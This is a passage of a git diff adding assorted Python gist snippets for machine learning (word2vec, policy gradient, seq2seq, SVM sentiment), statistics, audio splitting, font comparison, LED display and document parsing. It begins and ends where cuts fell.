+corpus_raw = corpus_raw.lower()
+
+words = []
+for word in corpus_raw.split():
+    if word != '.': # because we don't want to treat . as a word
+        words.append(word)
+
+words = set(words) # so that all duplicate words are removed
+word2int = {}
+int2word = {}
+vocab_size = len(words) # gives the total number of unique words
+
+for i,word in enumerate(words):
+    word2int[word] = i
+    int2word[i] = word
+
+# raw sentences is a list of sentences.
+raw_sentences = corpus_raw.split('.')
+sentences = []
+for sentence in raw_sentences:
+    sentences.append(sentence.split())
+
+WINDOW_SIZE = 2
+
+data = []
+for sentence in sentences:
+    for word_index, word in enumerate(sentence):
+        for nb_word in sentence[max(word_index - WINDOW_SIZE, 0) : min(word_index + WINDOW_SIZE, len(sentence)) + 1] : 
+            if nb_word != word:
+                data.append([word, nb_word])
+
+# function to convert numbers to one hot vectors
+def to_one_hot(data_point_index, vocab_size):
+    temp = np.zeros(vocab_size)
+    temp[data_point_index] = 1
+    return temp
+
+x_train = [] # input word
+y_train = [] # output word
+
+for data_word in data:
+    x_train.append(to_one_hot(word2int[ data_word[0] ], vocab_size))
+    y_train.append(to_one_hot(word2int[ data_word[1] ], vocab_size))
+
+# convert them to numpy arrays
+x_train = np.asarray(x_train)
+y_train = np.asarray(y_train)
+
+# making placeholders for x_train and y_train
+x = tf.placeholder(tf.float32, shape=(None, vocab_size))
+y_label = tf.placeholder(tf.float32, shape=(None, vocab_size))
+
+EMBEDDING_DIM = 5 # you can choose your own number
+W1 = tf.Variable(tf.random_normal([vocab_size, EMBEDDING_DIM]))
+b1 = tf.Variable(tf.random_normal([EMBEDDING_DIM])) #bias
+hidden_representation = tf.add(tf.matmul(x,W1), b1)
+
+W2 = tf.Variable(tf.random_normal([EMBEDDING_DIM, vocab_size]))
+b2 = tf.Variable(tf.random_normal([vocab_size]))
+prediction = tf.nn.softmax(tf.add( tf.matmul(hidden_representation, W2), b2))
+
+
+sess = tf.Session()
+init = tf.global_variables_initializer()
+sess.run(init) #make sure you do this!
+
+# define the loss function:
+cross_entropy_loss = tf.reduce_mean(-tf.reduce_sum(y_label * tf.log(prediction), reduction_indices=[1]))
+
+# define the training step:
+train_step = tf.train.GradientDescentOptimizer(0.1).minimize(cross_entropy_loss)
+
+n_iters = 10000
+# train for n_iter iterations
+
+for _ in range(n_iters):
+    sess.run(train_step, feed_dict={x: x_train, y_label: y_train})
+    print('loss is : ', sess.run(cross_entropy_loss, feed_dict={x: x_train, y_label: y_train}))
+
+vectors = sess.run(W1 + b1)
+
+def euclidean_dist(vec1, vec2):
+    return np.sqrt(np.sum((vec1-vec2)**2))
+
+def find_closest(word_index, vectors):
+    min_dist = 10000 # to act like positive infinity
+    min_index = -1
+    query_vector = vectors[word_index]
+    for index, vector in enumerate(vectors):
+        if euclidean_dist(vector, query_vector) < min_dist and not np.array_equal(vector, query_vector):
+            min_dist = euclidean_dist(vector, query_vector)
+            min_index = index
+    return min_index
+
+
+from sklearn.manifold import TSNE
+
+model = TSNE(n_components=2, random_state=0)
+np.set_printoptions(suppress=True)
+vectors = model.fit_transform(vectors) 
+
+from sklearn import preprocessing
+
+normalizer = preprocessing.Normalizer()
+vectors =  normalizer.fit_transform(vectors, 'l2')
+
+print(vectors)
+
+import matplotlib.pyplot as plt
+
+
+fig, ax = plt.subplots()
+print(words)
+for word in words:
+    print(word, vectors[word2int[word]][1])
+    ax.annotate(word, (vectors[word2int[word]][0],vectors[word2int[word]][1] ))
+plt.show()
\ No newline at end of file
diff --git a/hard-gists/c8b3fb31c1552ecbaafb/._snippet.py b/hard-gists/c8b3fb31c1552ecbaafb/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/c8b3fb31c1552ecbaafb/._snippet.py differ
diff --git a/hard-gists/c8b3fb31c1552ecbaafb/snippet.py b/hard-gists/c8b3fb31c1552ecbaafb/snippet.py
new file mode 100644
index 00000000..9b3582c7
--- /dev/null
+++ b/hard-gists/c8b3fb31c1552ecbaafb/snippet.py
@@ -0,0 +1,21 @@
+from scipy.stats import binom
+
+
+def mcnemar_midp(b, c):
+    """
+    Compute McNemar's test using the "mid-p" variant suggested by:
+    
+    M.W. Fagerland, S. Lydersen, P. Laake. 2013. The McNemar test for 
+    binary matched-pairs data: Mid-p and asymptotic are better than exact 
+    conditional. BMC Medical Research Methodology 13: 91.
+    
+    `b` is the number of observations correctly labeled by the first---but 
+    not the second---system; `c` is the number of observations correctly 
+    labeled by the second---but not the first---system.
+    """
+    n = b + c
+    x = min(b, c)
+    dist = binom(n, .5)
+    p = 2. * dist.cdf(x)
+    midp = p - dist.pmf(x)
+    return midp
\ No newline at end of file
diff --git a/hard-gists/c8d1caabaf7b43317bc8825c226045d2/._snippet.py b/hard-gists/c8d1caabaf7b43317bc8825c226045d2/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/c8d1caabaf7b43317bc8825c226045d2/._snippet.py differ
diff --git a/hard-gists/c8d1caabaf7b43317bc8825c226045d2/snippet.py b/hard-gists/c8d1caabaf7b43317bc8825c226045d2/snippet.py
new file mode 100644
index 00000000..b8a5589a
--- /dev/null
+++ b/hard-gists/c8d1caabaf7b43317bc8825c226045d2/snippet.py
@@ -0,0 +1,240 @@
+"""
+Simple policy gradient in Keras
+
+"""
+import gym
+import numpy as np
+
+from keras import layers
+from keras.models import Model
+from keras import backend as K
+from keras import utils as np_utils
+from keras import optimizers
+
+
+class Agent(object):
+
+    def __init__(self, input_dim, output_dim, hidden_dims=[32, 32]):
+        """Gym Playing Agent
+
+        Args:
+            input_dim (int): the dimension of state.
+                Same as `env.observation_space.shape[0]`
+
+            output_dim (int): the number of discrete actions
+                Same as `env.action_space.n`
+
+            hidden_dims (list): hidden dimensions
+
+        Methods:
+
+            private:
+                __build_train_fn -> None
+                    It creates a train function
+                    It's similar to defining `train_op` in Tensorflow
+                __build_network -> None
+                    It create a base model
+                    Its output is each action probability
+
+            public:
+                get_action(state) -> action
+                fit(state, action, reward) -> None
+        """
+
+        self.input_dim = input_dim
+        self.output_dim = output_dim
+
+        self.__build_network(input_dim, output_dim, hidden_dims)
+        self.__build_train_fn()
+
+    def __build_network(self, input_dim, output_dim, hidden_dims=[32, 32]):
+        """Create a base network"""
+        self.X = layers.Input(shape=(input_dim,))
+        net = self.X
+
+        for h_dim in hidden_dims:
+            net = layers.Dense(h_dim)(net)
+            net = layers.Activation("relu")(net)
+
+        net = layers.Dense(output_dim)(net)
+        net = layers.Activation("softmax")(net)
+
+        self.model = Model(inputs=self.X, outputs=net)
+
+    def __build_train_fn(self):
+        """Create a train function
+
+        It replaces `model.fit(X, y)` because we use the output of model and use it for training.
+
+        For example, we need action placeholder
+        called `action_one_hot` that stores, which action we took at state `s`.
+        Hence, we can update the same action.
+
+        This function will create
+        `self.train_fn([state, action_one_hot, discount_reward])`
+        which would train the model.
+
+        """
+        action_prob_placeholder = self.model.output
+        action_onehot_placeholder = K.placeholder(shape=(None, self.output_dim),
+                                                  name="action_onehot")
+        discount_reward_placeholder = K.placeholder(shape=(None,),
+                                                    name="discount_reward")
+
+        action_prob = K.sum(action_prob_placeholder * action_onehot_placeholder, axis=1)
+        log_action_prob = K.log(action_prob)
+
+        loss = - log_action_prob * discount_reward_placeholder
+        loss = K.mean(loss)
+
+        adam = optimizers.Adam()
+
+        updates = adam.get_updates(params=self.model.trainable_weights,
+                                   constraints=[],
+                                   loss=loss)
+
+        self.train_fn = K.function(inputs=[self.model.input,
+                                           action_onehot_placeholder,
+                                           discount_reward_placeholder],
+                                   outputs=[],
+                                   updates=updates)
+
+    def get_action(self, state):
+        """Returns an action at given `state`
+
+        Args:
+            state (1-D or 2-D Array): It can be either 1-D array of shape (state_dimension, )
+                or 2-D array shape of (n_samples, state_dimension)
+
+        Returns:
+            action: an integer action value ranging from 0 to (n_actions - 1)
+        """
+        shape = state.shape
+
+        if len(shape) == 1:
+            assert shape == (self.input_dim,), "{} != {}".format(shape, self.input_dim)
+            state = np.expand_dims(state, axis=0)
+
+        elif len(shape) == 2:
+            assert shape[1] == (self.input_dim), "{} != {}".format(shape, self.input_dim)
+
+        else:
+            raise TypeError("Wrong state shape is given: {}".format(state.shape))
+
+        action_prob = np.squeeze(self.model.predict(state))
+        assert len(action_prob) == self.output_dim, "{} != {}".format(len(action_prob), self.output_dim)
+        return np.random.choice(np.arange(self.output_dim), p=action_prob)
+
+    def fit(self, S, A, R):
+        """Train a network
+
+        Args:
+            S (2-D Array): `state` array of shape (n_samples, state_dimension)
+            A (1-D Array): `action` array of shape (n_samples,)
+                It's simply a list of int that stores which actions the agent chose
+            R (1-D Array): `reward` array of shape (n_samples,)
+                A reward is given after each action.
+
+        """
+        action_onehot = np_utils.to_categorical(A, num_classes=self.output_dim)
+        discount_reward = compute_discounted_R(R)
+
+        assert S.shape[1] == self.input_dim, "{} != {}".format(S.shape[1], self.input_dim)
+        assert action_onehot.shape[0] == S.shape[0], "{} != {}".format(action_onehot.shape[0], S.shape[0])
+        assert action_onehot.shape[1] == self.output_dim, "{} != {}".format(action_onehot.shape[1], self.output_dim)
+        assert len(discount_reward.shape) == 1, "{} != 1".format(len(discount_reward.shape))
+
+        self.train_fn([S, action_onehot, discount_reward])
+
+
+def compute_discounted_R(R, discount_rate=.99):
+    """Returns discounted rewards
+
+    Args:
+        R (1-D array): a list of `reward` at each time step
+        discount_rate (float): Will discount the future value by this rate
+
+    Returns:
+        discounted_r (1-D array): same shape as input `R`
+            but the values are discounted
+
+    Examples:
+        >>> R = [1, 1, 1]
+        >>> compute_discounted_R(R, .99) # before normalization
+        [1 + 0.99 + 0.99**2, 1 + 0.99, 1]
+    """
+    discounted_r = np.zeros_like(R, dtype=np.float32)
+    running_add = 0
+    for t in reversed(range(len(R))):
+
+        running_add = running_add * discount_rate + R[t]
+        discounted_r[t] = running_add
+
+    discounted_r -= discounted_r.mean() / discounted_r.std()
+
+    return discounted_r
+
+
+def run_episode(env, agent):
+    """Returns an episode reward
+
+    (1) Play until the game is done
+    (2) The agent will choose an action according to the policy
+    (3) When it's done, it will train from the game play
+
+    Args:
+        env (gym.env): Gym environment
+        agent (Agent): Game Playing Agent
+
+    Returns:
+        total_reward (int): total reward earned during the whole episode
+    """
+    done = False
+    S = []
+    A = []
+    R = []
+
+    s = env.reset()
+
+    total_reward = 0
+
+    while not done:
+
+        a = agent.get_action(s)
+
+        s2, r, done, info = env.step(a)
+        total_reward += r
+
+        S.append(s)
+        A.append(a)
+        R.append(r)
+
+        s = s2
+
+        if done:
+            S = np.array(S)
+            A = np.array(A)
+            R = np.array(R)
+
+            agent.fit(S, A, R)
+
+    return total_reward
+
+
+def main():
+    try:
+        env = gym.make("CartPole-v0")
+        input_dim = env.observation_space.shape[0]
+        output_dim = env.action_space.n
+        agent = Agent(input_dim, output_dim, [16, 16])
+
+        for episode in range(2000):
+            reward = run_episode(env, agent)
+            print(episode, reward)
+
+    finally:
+        env.close()
+
+
+if __name__ == '__main__':
+    main()
diff --git a/hard-gists/c8e62ef8cb9515d64df4/._snippet.py b/hard-gists/c8e62ef8cb9515d64df4/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/c8e62ef8cb9515d64df4/._snippet.py differ
diff --git a/hard-gists/c8e62ef8cb9515d64df4/snippet.py b/hard-gists/c8e62ef8cb9515d64df4/snippet.py
new file mode 100644
index 00000000..7c289c98
--- /dev/null
+++ b/hard-gists/c8e62ef8cb9515d64df4/snippet.py
@@ -0,0 +1,67 @@
+#!/usr/bin/env python
+
+import argparse
+import matplotlib.pyplot as plt
+import librosa
+import numpy as np
+import os
+from progressbar import ProgressBar
+
+parser = argparse.ArgumentParser(
+	description='Split audio into multiple files and save analysis.')
+parser.add_argument('-i', '--input', type=str)
+parser.add_argument('-o', '--output', type=str, default='transients')
+parser.add_argument('-s', '--sr', type=int, default=44100)
+args = parser.parse_args()
+
+y, sr = librosa.load(args.input, sr=args.sr)
+o_env = librosa.onset.onset_strength(y, sr=sr, feature=librosa.cqt)
+onset_frames = librosa.onset.onset_detect(onset_envelope=o_env, sr=sr)
+
+def prepare(y, sr=22050):
+    y = librosa.to_mono(y)
+    y = librosa.util.fix_length(y, sr) # 1 second of audio
+    y = librosa.util.normalize(y)
+    return y
+
+def get_fingerprint(y, sr=22050):
+    y = prepare(y, sr)
+    cqt = librosa.cqt(y, sr=sr, hop_length=2048)
+    return cqt.flatten('F')
+
+def normalize(x):
+    x -= x.min(axis=0)
+    x /= x.max(axis=0)
+    return x
+
+def basename(file):
+    file = os.path.basename(file)
+    return os.path.splitext(file)[0]
+
+vectors = []
+words = []
+filenames = []
+
+onset_samples = list(librosa.frames_to_samples(onset_frames))
+onset_samples = np.concatenate(onset_samples, len(y))
+starts = onset_samples[0:-1]
+stops = onset_samples[1:]
+analysis_folder = args.output
+samples_folder = os.path.join(args.output, 'samples')
+try:
+	os.makedirs(samples_folder)
+except:
+	pass
+pbar = ProgressBar()
+for i, (start, stop) in enumerate(pbar(zip(starts, stops))):
+    audio = y[start:stop]
+    filename = os.path.join(samples_folder, str(i) + '.wav')
+    librosa.output.write_wav(filename, audio, sr)
+    vector = get_fingerprint(audio, sr=sr)
+    word = basename(filename)
+    vectors.append(vector)
+    words.append(word)
+    filenames.append(filename)
+np.savetxt(os.path.join(analysis_folder, 'vectors'), vectors, fmt='%.5f', delimiter='\t')
+np.savetxt(os.path.join(analysis_folder, 'words'), words, fmt='%s')
+np.savetxt(os.path.join(analysis_folder, 'filenames.txt'), filenames, fmt='%s')
\ No newline at end of file
diff --git a/hard-gists/c8eb9d0938584a277f90/._snippet.py b/hard-gists/c8eb9d0938584a277f90/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/c8eb9d0938584a277f90/._snippet.py differ
diff --git a/hard-gists/c8eb9d0938584a277f90/Dockerfile-llm-3.8 b/hard-gists/c8eb9d0938584a277f90/Dockerfile-llm-3.8
new file mode 100644
index 00000000..fef8fb09
--- /dev/null
+++ b/hard-gists/c8eb9d0938584a277f90/Dockerfile-llm-3.8
@@ -0,0 +1,11 @@
+# FROM is the found expected Python version
+FROM python:3.8
+# Set the working directory to /app
+WORKDIR /app
+# Add install commands for all of the python modules
+RUN ["pip","install","--upgrade","pip"]
+RUN ["pip","install","--trusted-host","pypi.python.org","--default-timeout=100","robofab==1.2.1"]
+# Copy the specified directory to /app
+COPY snippet.py /app
+# Run the specified python file
+CMD ["python", "/app/snippet.py"]
\ No newline at end of file
diff --git a/hard-gists/c8eb9d0938584a277f90/modules/robofab_3.8.txt b/hard-gists/c8eb9d0938584a277f90/modules/robofab_3.8.txt
new file mode 100644
index 00000000..73169239
--- /dev/null
+++ b/hard-gists/c8eb9d0938584a277f90/modules/robofab_3.8.txt
@@ -0,0 +1 @@
+1.2, 1.2.1
\ No newline at end of file
diff --git a/hard-gists/c8eb9d0938584a277f90/snippet.py b/hard-gists/c8eb9d0938584a277f90/snippet.py
new file mode 100644
index 00000000..a5f14c86
--- /dev/null
+++ b/hard-gists/c8eb9d0938584a277f90/snippet.py
@@ -0,0 +1,27 @@
+from robofab.interface.all.dialogs import SelectFont
+
+markCounterpartsOfMissing = (1, 0, 0, 1)
+# mark color for glyphs missing in the other font
+# set to None for none, otherwise (r, g, b, a) tuple
+
+f1 = SelectFont("Select 'Master' font:")
+f2 = SelectFont("Select font to compare:")
+
+if f1 is not None and f2 is not None:
+    missing = []
+    for glyph in f1:
+        try:
+            otherGlyph = f2[glyph.name]
+        except:
+            missing.append(glyph.name)
+        
+    print "%s misses the following glyphs compared to %s:" % (f2, f1)
+    missing = sorted(missing)
+    for m in missing:
+        print m
+        if markCounterpartsOfMissing is not None:
+            f1[m].mark = markCounterpartsOfMissing
+    
+else:
+    print "aborted"
+    
\ No newline at end of file
diff --git a/hard-gists/c91859ed22e4dda11d36/._snippet.py b/hard-gists/c91859ed22e4dda11d36/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/c91859ed22e4dda11d36/._snippet.py differ
diff --git a/hard-gists/c91859ed22e4dda11d36/snippet.py b/hard-gists/c91859ed22e4dda11d36/snippet.py
new file mode 100644
index 00000000..debe339f
--- /dev/null
+++ b/hard-gists/c91859ed22e4dda11d36/snippet.py
@@ -0,0 +1,35 @@
+#!/usr/bin/env python2.7
+# -*- coding: utf-8 -*-
+
+import time
+
+import Image
+import ImageDraw
+import ImageFont
+
+from Adafruit_LED_Backpack import Matrix8x8
+
+
+def print_8x8(image):
+    display.clear()
+    display.set_image(image)
+    display.write_display()
+
+
+a = u'동해물과 백두산이 마르고 닳도록 하느님이 보우하사  '
+
+display = Matrix8x8.Matrix8x8()
+display.begin()
+image = Image.new('1', (1250,8))
+draw = ImageDraw.Draw(image)
+
+font = ImageFont.truetype('AppleGothic.ttf', 8)
+draw.text((0, 0), a, font=font, fill=255)
+w, h = draw.textsize(a, font=font)
+
+while True:
+      for x in range(0,w-1):
+          b = image.crop((x, 0, x+8, 8))
+          print_8x8(b)
+          time.sleep(0.02)
+          
\ No newline at end of file
diff --git a/hard-gists/c92066d9d38b236a21d5a7b729a10f12/._snippet.py b/hard-gists/c92066d9d38b236a21d5a7b729a10f12/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/c92066d9d38b236a21d5a7b729a10f12/._snippet.py differ
diff --git a/hard-gists/c92066d9d38b236a21d5a7b729a10f12/snippet.py b/hard-gists/c92066d9d38b236a21d5a7b729a10f12/snippet.py
new file mode 100644
index 00000000..552777b0
--- /dev/null
+++ b/hard-gists/c92066d9d38b236a21d5a7b729a10f12/snippet.py
@@ -0,0 +1,205 @@
+import logging
+
+import numpy as np
+import tensorflow as tf
+from tensorflow.contrib import layers
+
+
+GO_TOKEN = 0
+END_TOKEN = 1
+UNK_TOKEN = 2
+
+
+def seq2seq(mode, features, labels, params):
+    vocab_size = params['vocab_size']
+    embed_dim = params['embed_dim']
+    num_units = params['num_units']
+    input_max_length = params['input_max_length']
+    output_max_length = params['output_max_length']
+
+    inp = features['input']
+    output = features['output']
+    batch_size = tf.shape(inp)[0]
+    start_tokens = tf.zeros([batch_size], dtype=tf.int64)
+    train_output = tf.concat([tf.expand_dims(start_tokens, 1), output], 1)
+    input_lengths = tf.reduce_sum(tf.to_int32(tf.not_equal(inp, 1)), 1)
+    output_lengths = tf.reduce_sum(tf.to_int32(tf.not_equal(train_output, 1)), 1)
+    input_embed = layers.embed_sequence(
+        inp, vocab_size=vocab_size, embed_dim=embed_dim, scope='embed')
+    output_embed = layers.embed_sequence(
+        train_output, vocab_size=vocab_size, embed_dim=embed_dim, scope='embed', reuse=True)
+    with tf.variable_scope('embed', reuse=True):
+        embeddings = tf.get_variable('embeddings')
+
+    cell = tf.contrib.rnn.GRUCell(num_units=num_units)
+    encoder_outputs, encoder_final_state = tf.nn.dynamic_rnn(cell, input_embed, dtype=tf.float32)
+
+    train_helper = tf.contrib.seq2seq.TrainingHelper(output_embed, output_lengths)
+    # train_helper = tf.contrib.seq2seq.ScheduledEmbeddingTrainingHelper(
+    #     output_embed, output_lengths, embeddings, 0.3
+    # )
+    pred_helper = tf.contrib.seq2seq.GreedyEmbeddingHelper(
+        embeddings, start_tokens=tf.to_int32(start_tokens), end_token=1)
+
+    def decode(helper, scope, reuse=None):
+        with tf.variable_scope(scope, reuse=reuse):
+            attention_mechanism = tf.contrib.seq2seq.BahdanauAttention(
+                num_units=num_units, memory=encoder_outputs,
+                memory_sequence_length=input_lengths)
+            cell = tf.contrib.rnn.GRUCell(num_units=num_units)
+            attn_cell = tf.contrib.seq2seq.AttentionWrapper(
+                cell, attention_mechanism, attention_layer_size=num_units / 2)
+            out_cell = tf.contrib.rnn.OutputProjectionWrapper(
+                attn_cell, vocab_size, reuse=reuse
+            )
+            decoder = tf.contrib.seq2seq.BasicDecoder(
+                cell=out_cell, helper=helper,
+                initial_state=out_cell.zero_state(
+                    dtype=tf.float32, batch_size=batch_size))
+                #initial_state=encoder_final_state)
+            outputs = tf.contrib.seq2seq.dynamic_decode(
+                decoder=decoder, output_time_major=False,
+                impute_finished=True, maximum_iterations=output_max_length
+            )
+            return outputs[0]
+    train_outputs = decode(train_helper, 'decode')
+    pred_outputs = decode(pred_helper, 'decode', reuse=True)
+
+    tf.identity(train_outputs.sample_id[0], name='train_pred')
+    weights = tf.to_float(tf.not_equal(train_output[:, :-1], 1))
+    loss = tf.contrib.seq2seq.sequence_loss(
+        train_outputs.rnn_output, output, weights=weights)
+    train_op = layers.optimize_loss(
+        loss, tf.train.get_global_step(),
+        optimizer=params.get('optimizer', 'Adam'),
+        learning_rate=params.get('learning_rate', 0.001),
+        summaries=['loss', 'learning_rate'])
+
+    tf.identity(pred_outputs.sample_id[0], name='predictions')
+    return tf.estimator.EstimatorSpec(
+        mode=mode,
+        predictions=pred_outputs.sample_id,
+        loss=loss,
+        train_op=train_op
+    )
+
+
+def tokenize_and_map(line, vocab):
+    return [vocab.get(token, UNK_TOKEN) for token in line.split(' ')]
+
+
+def make_input_fn(
+        batch_size, input_filename, output_filename, vocab,
+        input_max_length, output_max_length,
+        input_process=tokenize_and_map, output_process=tokenize_and_map):
+
+    def input_fn():
+        inp = tf.placeholder(tf.int64, shape=[None, None], name='input')
+        output = tf.placeholder(tf.int64, shape=[None, None], name='output')
+        tf.identity(inp[0], 'input_0')
+        tf.identity(output[0], 'output_0')
+        return {
+            'input': inp,
+            'output': output,
+        }, None
+
+    def sampler():
+        while True:
+            with open(input_filename) as finput:
+                with open(output_filename) as foutput:
+                    for in_line in finput:
+                        out_line = foutput.readline()
+                        yield {
+                            'input': input_process(in_line, vocab)[:input_max_length - 1] + [END_TOKEN],
+                            'output': output_process(out_line, vocab)[:output_max_length - 1] + [END_TOKEN]
+                        }
+
+    sample_me = sampler()
+
+    def feed_fn():
+        inputs, outputs = [], []
+        input_length, output_length = 0, 0
+        for i in range(batch_size):
+            rec = sample_me.next()
+            inputs.append(rec['input'])
+            outputs.append(rec['output'])
+            input_length = max(input_length, len(inputs[-1]))
+            output_length = max(output_length, len(outputs[-1]))
+        # Pad me right with </S> token.
+        for i in range(batch_size):
+            inputs[i] += [END_TOKEN] * (input_length - len(inputs[i]))
+            outputs[i] += [END_TOKEN] * (output_length - len(outputs[i]))
+        return {
+            'input:0': inputs,
+            'output:0': outputs
+        }
+
+    return input_fn, feed_fn
+
+
+def load_vocab(filename):
+    vocab = {}
+    with open(filename) as f:
+        for idx, line in enumerate(f):
+            vocab[line.strip()] = idx
+    return vocab
+
+
+def get_rev_vocab(vocab):
+    return {idx: key for key, idx in vocab.iteritems()}
+
+
+def get_formatter(keys, vocab):
+    rev_vocab = get_rev_vocab(vocab)
+
+    def to_str(sequence):
+        tokens = [
+            rev_vocab.get(x, "<UNK>") for x in sequence]
+        return ' '.join(tokens)
+
+    def format(values):
+        res = []
+        for key in keys:
+            res.append("%s = %s" % (key, to_str(values[key])))
+        return '\n'.join(res)
+    return format
+
+
+def train_seq2seq(
+        input_filename, output_filename, vocab_filename,
+        model_dir):
+    vocab = load_vocab(vocab_filename)
+    params = {
+        'vocab_size': len(vocab),
+        'batch_size': 32,
+        'input_max_length': 30,
+        'output_max_length': 30,
+        'embed_dim': 100,
+        'num_units': 256
+    }
+    est = tf.estimator.Estimator(
+        model_fn=seq2seq,
+        model_dir=model_dir, params=params)
+
+    input_fn, feed_fn = make_input_fn(
+        params['batch_size'],
+        input_filename,
+        output_filename,
+        vocab, params['input_max_length'], params['output_max_length'])
+
+    # Make hooks to print examples of inputs/predictions.
+    print_inputs = tf.train.LoggingTensorHook(
+        ['input_0', 'output_0'], every_n_iter=100,
+        formatter=get_formatter(['input_0', 'output_0'], vocab))
+    print_predictions = tf.train.LoggingTensorHook(
+        ['predictions', 'train_pred'], every_n_iter=100,
+        formatter=get_formatter(['predictions', 'train_pred'], vocab))
+
+    est.train(
+        input_fn=input_fn,
+        hooks=[tf.train.FeedFnHook(feed_fn), print_inputs, print_predictions],
+        steps=10000)
+
+def main():
+    tf.logging._logger.setLevel(logging.INFO)
+    train_seq2seq('input', 'output', 'vocab', 'model/seq2seq')
diff --git a/hard-gists/c9248a239bbab0e0d42e/._snippet.py b/hard-gists/c9248a239bbab0e0d42e/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/c9248a239bbab0e0d42e/._snippet.py differ
diff --git a/hard-gists/c9248a239bbab0e0d42e/snippet.py b/hard-gists/c9248a239bbab0e0d42e/snippet.py
new file mode 100644
index 00000000..cfa217b4
--- /dev/null
+++ b/hard-gists/c9248a239bbab0e0d42e/snippet.py
@@ -0,0 +1,96 @@
+# You need to install scikit-learn:
+# sudo pip install scikit-learn
+#
+# Dataset: Polarity dataset v2.0
+# http://www.cs.cornell.edu/people/pabo/movie-review-data/
+#
+# Full discussion:
+# https://marcobonzanini.wordpress.com/2015/01/19/sentiment-analysis-with-python-and-scikit-learn
+
+
+import sys
+import os
+import time
+
+from sklearn.feature_extraction.text import TfidfVectorizer
+from sklearn import svm
+from sklearn.metrics import classification_report
+
+def usage():
+    print("Usage:")
+    print("python %s <data_dir>" % sys.argv[0])
+
+if __name__ == '__main__':
+
+    if len(sys.argv) < 2:
+        usage()
+        sys.exit(1)
+
+    data_dir = sys.argv[1]
+    classes = ['pos', 'neg']
+
+    # Read the data
+    train_data = []
+    train_labels = []
+    test_data = []
+    test_labels = []
+    for curr_class in classes:
+        dirname = os.path.join(data_dir, curr_class)
+        for fname in os.listdir(dirname):
+            with open(os.path.join(dirname, fname), 'r') as f:
+                content = f.read()
+                if fname.startswith('cv9'):
+                    test_data.append(content)
+                    test_labels.append(curr_class)
+                else:
+                    train_data.append(content)
+                    train_labels.append(curr_class)
+
+    # Create feature vectors
+    vectorizer = TfidfVectorizer(min_df=5,
+                                 max_df = 0.8,
+                                 sublinear_tf=True,
+                                 use_idf=True)
+    train_vectors = vectorizer.fit_transform(train_data)
+    test_vectors = vectorizer.transform(test_data)
+
+    # Perform classification with SVM, kernel=rbf
+    classifier_rbf = svm.SVC()
+    t0 = time.time()
+    classifier_rbf.fit(train_vectors, train_labels)
+    t1 = time.time()
+    prediction_rbf = classifier_rbf.predict(test_vectors)
+    t2 = time.time()
+    time_rbf_train = t1-t0
+    time_rbf_predict = t2-t1
+
+    # Perform classification with SVM, kernel=linear
+    classifier_linear = svm.SVC(kernel='linear')
+    t0 = time.time()
+    classifier_linear.fit(train_vectors, train_labels)
+    t1 = time.time()
+    prediction_linear = classifier_linear.predict(test_vectors)
+    t2 = time.time()
+    time_linear_train = t1-t0
+    time_linear_predict = t2-t1
+
+    # Perform classification with SVM, kernel=linear
+    classifier_liblinear = svm.LinearSVC()
+    t0 = time.time()
+    classifier_liblinear.fit(train_vectors, train_labels)
+    t1 = time.time()
+    prediction_liblinear = classifier_liblinear.predict(test_vectors)
+    t2 = time.time()
+    time_liblinear_train = t1-t0
+    time_liblinear_predict = t2-t1
+
+    # Print results in a nice table
+    print("Results for SVC(kernel=rbf)")
+    print("Training time: %fs; Prediction time: %fs" % (time_rbf_train, time_rbf_predict))
+    print(classification_report(test_labels, prediction_rbf))
+    print("Results for SVC(kernel=linear)")
+    print("Training time: %fs; Prediction time: %fs" % (time_linear_train, time_linear_predict))
+    print(classification_report(test_labels, prediction_linear))
+    print("Results for LinearSVC()")
+    print("Training time: %fs; Prediction time: %fs" % (time_liblinear_train, time_liblinear_predict))
+    print(classification_report(test_labels, prediction_liblinear))
\ No newline at end of file
diff --git a/hard-gists/c943835a9742f5021eeb/._snippet.py b/hard-gists/c943835a9742f5021eeb/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/c943835a9742f5021eeb/._snippet.py differ
diff --git a/hard-gists/c943835a9742f5021eeb/snippet.py b/hard-gists/c943835a9742f5021eeb/snippet.py
new file mode 100644
index 00000000..69f33c10
--- /dev/null
+++ b/hard-gists/c943835a9742f5021eeb/snippet.py
@@ -0,0 +1,13 @@
+from gi.repository import Gtk as gtk
+from gi.repository import AppIndicator3 as appindicator
+
+APPINDICATOR_ID = 'myappindicator'
+
+def main():
+    indicator = appindicator.Indicator.new(APPINDICATOR_ID, 'whatever', appindicator.IndicatorCategory.SYSTEM_SERVICES)
+    indicator.set_status(appindicator.IndicatorStatus.ACTIVE)
+    indicator.set_menu(gtk.Menu())
+    gtk.main()
+
+if __name__ == "__main__":
+    main()
\ No newline at end of file
diff --git a/hard-gists/c9792757a9fc02d01408bf30855d412f/._snippet.py b/hard-gists/c9792757a9fc02d01408bf30855d412f/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/c9792757a9fc02d01408bf30855d412f/._snippet.py differ
diff --git a/hard-gists/c9792757a9fc02d01408bf30855d412f/snippet.py b/hard-gists/c9792757a9fc02d01408bf30855d412f/snippet.py
new file mode 100644
index 00000000..3a902705
--- /dev/null
+++ b/hard-gists/c9792757a9fc02d01408bf30855d412f/snippet.py
@@ -0,0 +1,39 @@
+import os
+import docx
+from docx.document import Document
+from docx.oxml.table import CT_Tbl
+from docx.oxml.text.paragraph import CT_P
+from docx.table import _Cell, Table
+from docx.text.paragraph import Paragraph
+
+os.chdir('C:\\OJT_Kevin\\161027_docx_parsing')
+
+def iter_block_items(parent):
+    """
+    Yield each paragraph and table child within *parent*, in document order.
+    Each returned value is an instance of either Table or Paragraph. *parent*
+    would most commonly be a reference to a main Document object, but
+    also works for a _Cell object, which itself can contain paragraphs and tables.
+    """
+    if isinstance(parent, Document):
+        parent_elm = parent.element.body
+    elif isinstance(parent, _Cell):
+        parent_elm = parent._tc
+    else:
+        raise ValueError("something's not right")
+
+    for child in parent_elm.iterchildren():
